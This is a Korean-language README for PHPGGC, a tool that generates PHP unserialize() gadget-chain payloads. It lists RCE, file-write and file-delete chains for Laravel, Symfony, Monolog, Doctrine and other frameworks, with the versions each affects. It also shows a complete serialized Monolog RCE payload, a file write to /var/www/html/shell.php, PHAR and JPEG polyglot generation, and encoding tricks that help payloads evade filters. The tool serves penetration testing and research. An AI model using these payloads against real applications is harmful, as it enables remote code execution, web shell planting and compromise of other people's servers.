
PHPGGC는 PHP unserialize() 페이로드의 라이브러리이자, 명령줄 또는 프로그래밍 방식으로 이를 생성하는 도구입니다.
PHPGGC는 unserialize() 페이로드 모음과 함께 명령줄 또는 프로그래밍 방식으로 이를 생성하는 도구를 제공하는 라이브러리입니다. 코드가 없는 웹사이트에서 unserialize를 만났을 때, 또는 단순히 익스플로잇을 구축하려고 할 때, 이 도구는 가젯을 찾고 결합하는 지루한 과정을 거치지 않고도 페이로드를 생성할 수 있게 해줍니다. 이는 frohoff의 ysoserial에 해당하는 PHP 버전이라고 볼 수 있습니다. 현재 이 도구는 CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii, ZendFramework 등의 가젯 체인을 지원합니다.
PHPGGC를 실행하려면 PHP >= 5.6이 필요합니다.
가젯 체인 목록을 얻으려면 ./phpggc -l을 실행하세요:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
가젯 체인 필터링:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
모든 가젯 체인에는 다음이 있습니다:
__destruct(), __toString(), offsetGet(), ...)체인에 대한 자세한 정보를 얻으려면 -i를 사용하세요:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
RCE 가젯의 경우 실행되는 명령은 가젯이 동작하는 방식에 따라 3가지 형식 유형을 가질 수 있습니다:
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system id체인을 선택한 후 ./phpggc <gadget-chain> [parameters]를 실행하여 페이로드를 얻으세요.
예를 들어, Monolog용 페이로드를 얻으려면 다음과 같이 합니다:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
SwiftMailer를 사용한 파일 쓰기의 경우 다음과 같이 합니다:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
--wrapper (-w) 옵션을 사용하면 다음 함수들을 포함하는 PHP 파일을 정의할 수 있습니다:
process_parameters(array $parameters): generate() 직전에 호출되며, 매개변수를 변경할 수 있습니다.process_object(object $object): serialize() 직전에 호출되며, 객체를 변경할 수 있습니다.process_serialized(string $serialized): serialize() 직후에 호출되며, 직렬화된 문자열을 변경할 수 있습니다.예를 들어, 취약한 코드가 다음과 같다면:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
다음과 같이 __toString() 체인을 래핑하여 사용할 수 있습니다:
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
그리고 다음과 같이 phpggc를 호출합니다:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
2018년 BlackHat US에서 @s_n_t가 PHPGGC의 포크인 PHARGGC를 발표했습니다. PHARGGC는 직렬화된 페이로드를 만드는 대신 전체 PHAR 파일을 생성합니다. 이 PHAR 파일에는 직렬화된 데이터가 포함되어 있어 다양한 공격 기법(file_exists, fopen 등)에 사용할 수 있습니다. 관련 논문은 여기에서 확인할 수 있습니다.
PHAR 아카이브는 PHAR, TAR, ZIP의 세 가지 형식으로 제공됩니다. PHPGGC는 세 가지 형식을 모두 지원합니다.
폴리글랏(Polyglot) 파일은 --phar-jpeg (-pj)를 사용하여 생성할 수 있습니다. 다른 옵션도 사용할 수 있습니다 (-h 참조).
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id
인수를 사용하여 페이로드가 출력되는 방식을 수정할 수 있습니다. 예를 들어, -u는 URL 인코딩을 수행하고 -b는 base64로 변환합니다.
페이로드에는 종종 NULL 바이트가 포함되어 있어 그대로 복사/붙여넣기할 수 없습니다. 페이로드를 읽을 수 있는 상태로 유지하는 소프트 URL 인코딩에는 -s를 사용하세요.
인코더는 체이닝할 수 있으므로 순서가 중요합니다. 예를 들어, ./phpggc -b -u -u slim/rce1 system id는 페이로드를 base64로 인코딩한 다음 두 번 URL 인코딩합니다.
PHPGGC는 --fast-destruct (-f) 플래그를 구현합니다. 이 플래그는 직렬화된 객체가 스크립트 종료 시점이 아닌 unserialize() 호출 직후에 소멸되도록 보장합니다. 신뢰성이 향상되므로 모든 __destruct 벡터에 사용할 것을 권장합니다. 예를 들어, 호출 이후 PHP 스크립트가 예외를 발생시키면 객체의 __destruct 메서드가 호출되지 않을 수 있습니다. 이 플래그는 인코더와 동시에 처리되므로 먼저 설정해야 합니다.
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...
표준 s 대신 S 직렬화 형식을 사용합니다. 모든 비-ASCII 문자를 16진수 표현으로 변환합니다:
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D";
어떤 이유로 비-ASCII 문자가 허용되지 않는 경우(예: NULL 바이트)에 유용할 수 있습니다. 페이로드에는 일반적으로 이러한 문자가 포함되므로 이 옵션을 사용하면 페이로드가 ASCII 값으로만 구성되도록 보장할 수 있습니다.
참고: 이 기능은 실험적이며 일부 경우에는 작동하지 않을 수 있습니다.